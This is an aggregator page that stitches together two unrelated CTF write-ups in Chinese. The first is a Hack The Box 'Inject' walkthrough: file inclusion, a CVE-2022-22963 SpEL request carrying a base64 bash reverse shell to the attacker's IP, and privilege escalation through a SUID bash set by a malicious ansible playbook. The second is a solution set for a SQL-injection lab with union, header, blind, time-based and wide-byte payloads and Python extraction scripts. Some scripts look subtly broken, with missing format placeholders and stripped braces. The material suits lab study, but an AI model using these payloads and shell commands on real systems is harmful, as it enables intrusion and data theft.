HTB靶场之-inject

Posted upfine

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTB靶场之-inject相关的知识,希望对你有一定的参考价值。

准备:

攻击机:虚拟机kali。

靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Inject。

知识点:ansible提权(非漏洞提权)、本地文件包含漏洞、CVE-2022-22963、敏感信息发现。

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p22,80,8080,3306 -A 10.10.11.204,显示开放了22端口、8080端口,开启了ssh服务、http服务。

2.web服务

请求下其8080端口的web服务:http://10.10.11.204:8080/,发现存在文件上传的功能点。进行上传测试时显示只允许上传图片文件。

二:信息利用

1.文件上传

那就尝试上传一个图片码,win的cmd中copy即可生成,然后将生成的图片码上传到靶机,显示上传成功并可以查看图片信息。

2.本地文件包含漏洞

然后就尝试进行命令执行:curl http://10.10.11.204:8080/show_image?img=pass1.jpg?pass=id,意外获得了文件的绝对路径:/var/www/WebApp/src/main/uploads/pass1.jpg。

修改下请求的地址,尝试访问下上级目录发现是可以正常访问的。

然后就是利用这一直查找,共发现以下信息:

系统账户:frank、phil
#使用ssh登录时,无法直接登录
phil账户的密码信息:DocPhillovestoInject123
#命令:curl http://10.10.11.204:8080/show_image?img=../../../../WebApp/pom.xml
依赖信息:org.springframework.cloud   <version>3.2.2</version>

 三:CVE-2022-22963漏洞

 springframework.cloud版本在3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2时存在一个spel注入漏洞,其编号是cve-2022-22963,该漏洞的利用方式可以在vulhub网站查看:https://vulhub.org/#/environments/spring/CVE-2022-22963/,利用也较为简单。使用bp抓取:http://10.10.11.204:8080的数据包并进行修改。

#抓取的数据包
GET / HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

#修改后的数据包
#加密数据为base64加密,内容为:bash -i >& /dev/tcp/10.10.14.86/6688 0>&1
#10.10.14.86为本机新增的一个地址
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44Ni82Njg4IDA+JjE=|base64,-d|bash,-i")
Content-Type: text/plain
Content-Length: 8

test

 然后在kali中开启对6688端口的监听,命令:nc -nvlp 6688,然后发送修改后的数据包,成功获得shell权限。

 获得shell权限后利用上面发现的phil账户的密码信息:DocPhillovestoInject123切换到phil账户,然后在/home/phil目录下发现user.txt文件,读取该文件成功获得flag值。

四:提权

1.信息收集

先是使用sudo -l想查看下是否存在特权命令,未成功,然后想着查找下特权文件,发现了/usr/lib/policykit-1/polkit-agent-helper-1,之前遇到过两个这样的漏洞,经过测试均无法利用。

然后就上传了LinEnum.sh和pspy64进行信息收集,在pspy64中发现存在定时任务(不太好找,慢慢看,别急),会删除/opt/automation/tasks目录下的所有文件,然后重新将/root/playbook_1.yml复制到/opt/automation/tasks/playbook_1.yml,然后执行/opt/automation/tasks/下的所有文件。

2.ansible

首先看一下playbook_1.yml的内容与格式,并进行简单的说明。

- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

host部分:使用hosts指示使用哪个主机或者主机组来运行下面的tasks,每个playbooks都必须指定hosts,host也可以使用通配符格式。

tasks:指定远端主机将要执行的一系列动作。tasks的核心为ansible的模块,tasks包含name和要执行的模块,name是可选的,只是为了便于用户阅读,模块是必须的,同时也要给予模块相应的参数。

然后百度下如何执行命令,结果如下:

 

3.提权 

那我们就按照playbook_1.yml格式,构造一个playbook_2.yml来执行我们需要执行的命令,格式如下:

- hosts: localhost
  tasks:
  - name: getroot
    command: sudo chmod u+s /bin/bash

然后将playbook_2.yml上传到靶机,等待一会执行bash -p后成功获得root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

掌控安全学院SQL注入靶场

掌控安全学院SQL注入靶场

靶场地址

http://inject2.lab.aqlab.cn

Pass-01 显错注入

判断注入类型发现是数字型注入

1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #

利用order by得到数据库有三列
?id=0 union select 1,2,3#得到回显位23

查库名
可以通过information_schema库或者直接select database()

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#

查表名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#

查列名

?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#

可以看到有flag列,直接输出

?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#

Pass-02

测试得题目为单引号字符型注入
这里#注释会报错,转用--+

?id=0' union select 1,2,3 --+

爆库

?id=0' union select 1,(select database()),3--+


后面和Pass-01一样
直接得到flag

?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+

Pass-03

查看语句得知需要')闭合前面的('

?id=0') union select 1,2,3--+


剩下同理,没有过滤

Pass-04

双引号即可

?id=0") union select 1,2,3--+

Pass-05 POST注入

GET换POST

username=1' union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

套用payload即可

username=1' union select 1,(select group_concat(flag) from error.error_flag),3#&password=1&submi=%E7%99%BB%E5%BD%95

Pass-06

同Pass-04

username=0") union select 1,2,3#&password=1&submi=%E7%99%BB%E5%BD%95

Pass-07 Head注入

提示Head注入,照常先测试一下payload

好!弱口令(好像串台了)

既然提示了就先简单测一下hackbar能改的head信息
改UA头的时候发现报错了
保持账号密码不变,只更改UA头1' or updatexml(1,concat('?',database()),1),1) #
成功将库名爆出
将database()换成查询语句爆库名
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='head_error'),'~'),1),1) #

列名
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag_head'),'~'),1),1) #

得到flag
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-08

账号密码还是admin/123456
测试发现是Refer头注入,过程和Pass-07一样
' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-09

这个Hackbar测不出来了,上Bp!
测了一圈没反应,加上最熟悉的XFF头,flag就出来了
注入过程还是参考Pass-07
X-Forwarded-For:' or updatexml(1,concat('~',(select group_concat(flag_h1) from head_error.flag_head),'~'),1),1) #

Pass-10 布尔盲注

没啥过滤的盲注
直接手搓脚本
二分法+异或(不异或也没啥问题)

import requests
url = "http://inject2.lab.aqlab.cn/Pass-10/index.php?id="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),,1))>)".format(i,mid)	#爆库名
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)".format(i,mid)	#爆表名
	    #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>)".format(i,mid)	#爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>)".format(i,mid)	#爆flag
        res = requests.get(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

库名

表名

列名

获得数据


好像有点小禁爬,拼起来就是最终flag了

哈哈,flag跑完了,ip好像被封了(

Pass-11

多一个双引号,小问题

import requests
url = "http://inject2.lab.aqlab.cn/Pass-11/index.php?id=1\\" and 1="
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"0^(ascii(substr((select database()),,1))>)--+".format(i,mid)
        #payload = url+"0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)--+".format(i,mid)   #爆表名
        #payload = url+"0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>)--+".format(i,mid) #爆列名
        payload = url+"0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>)--+".format(i,mid)
        res = requests.get(payload)
        #print(payload)
        if 'No results found' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

点到为止

Pass-12

万能密码登录成功,可以作为盲注的判断依据

稍微调试一下语句,再把请求方式改为POST

import requests
url = "http://inject2.lab.aqlab.cn/Pass-12/index.php"
flag=''
data='username':'1','password':'1','submit':'%E7%99%BB%E5%BD%95'
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="1\\' or 1=0^(ascii(substr((select database()),,1))>)#".format(i,mid)
        #payload="1\\' or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)#".format(i,mid)   #爆表名
        #payload="1\\' or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>)#".format(i,mid) #爆列名
        payload="1\\' or 1=0^(ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>)#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

还是同一个库,润!

Pass-13 延时注入

延时注入,先测试注入点
?id=1" and sleep(5)--+
小爆一下库
?id=1" and if((ascii(substr((database()),1,1))>0),sleep(3),sleep(0))--+
然后拿出上面的盲注脚本


和布尔盲注一个库

放个脚本

import requests
url = "http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1\\" and "
flag=''
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload=url+"if((ascii(substr((database()),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆库名
        #payload = url+"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆表名
        #payload = url+"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='loflag' ),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆列名
        payload = url+"if((ascii(substr((select group_concat(flaglo) from kanwolongxia.loflag),,1))>),sleep(1),sleep(0))--+".format(i,mid)	#爆flag
        #print(payload)
        res = requests.get(payload).elapsed.total_seconds()
        if res>1:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

Pass-14

同上
更改url即可

url = "http://inject2.lab.aqlab.cn/Pass-14/index.php?id=1') and "

Pass-15 宽字节注入

宽字节注入,来个经典%df
?id=1%df' or 1=1--+

看看库?id=1%df' union select 1,database(),3--+

表名
?id=1%df' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
因为单引号被转义了,所以查表的时候库名不能用'china_flag',可以用十六进制代替
?id=1%df' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167)--+
获取数据
?id=1%df' union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+

Pass-16

id=(“1”)得到闭合方式为%df")
?id=1%df") union select 1,database(),(select group_concat(C_Flag) from widechar.china_flag)--+

Pass-17

POST型宽字节注入
hackbar发包已经满足不了%df了,发送后会变成ß
需要通过奇数个汉字学')或者Burpsuite直接发包%df')

bp虽然乱码但是颜色对了)

python测试的%df')无效,就用汉字测了

import requests
url = "http://inject2.lab.aqlab.cn/Pass-17/index.php"
flag=''
data='username':'admin%df\\'\\) or 1=1#','password':'1','submit':'%E7%99%BB%E5%BD%95'
for i in range(1,100):
    low = 32
    high = 126
    mid = (low+high)//2
    while(low<high):
        #payload="a%df\\') or 1=0^(ascii(substr((select database()),,1))>)#".format(i,mid)
        #payload="学\\') or 1=0^(ascii(substr((select database()),,1))>)#".format(i,mid)
        #payload="学\\') or 1=0^(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>)#".format(i,mid)   #爆表名
        #payload="学\\') or 1=0^(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' ),,1))>)#".format(i,mid) #爆列名
        payload="学\\') or 1=0^(ascii(substr((select group_concat(C_Flag) from widechar.china_flag),,1))>)#".format(i,mid)
        data['username']=payload
        res = requests.post(url,data=data)
        #print(data)
        #print(res.text)
        if '账号密码错误' not in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (low+high)//2

    if (mid==32|mid==126):
        break
    
    flag +=chr(mid)
    print(flag)
print(flag)

总结

完结撒花哩
总体没啥难度,也没有啥过滤,拿来复健感觉还不错,最后一个宽字节注入又花了点时间研究了一下
好!
就这样

以上是关于HTB靶场之-inject的主要内容,如果未能解决你的问题,请参考以下文章

DVWA靶场实战——SQL Injection(Blind)

HTB打靶日记:Cerberus

Lab: Blind SQL injection with conditional errors带条件错误的盲注靶场复盘

Lab: Blind SQL injection with conditional responses PRACTITIONER 带条件响应的SQL盲注靶场复盘

靶场练习_sqli-labsSQLi-LABS Page-2 (Adv Injections)

Lab: Blind SQL injection with time delays and information retrieval:时间延迟盲注和信息检索两个靶场复盘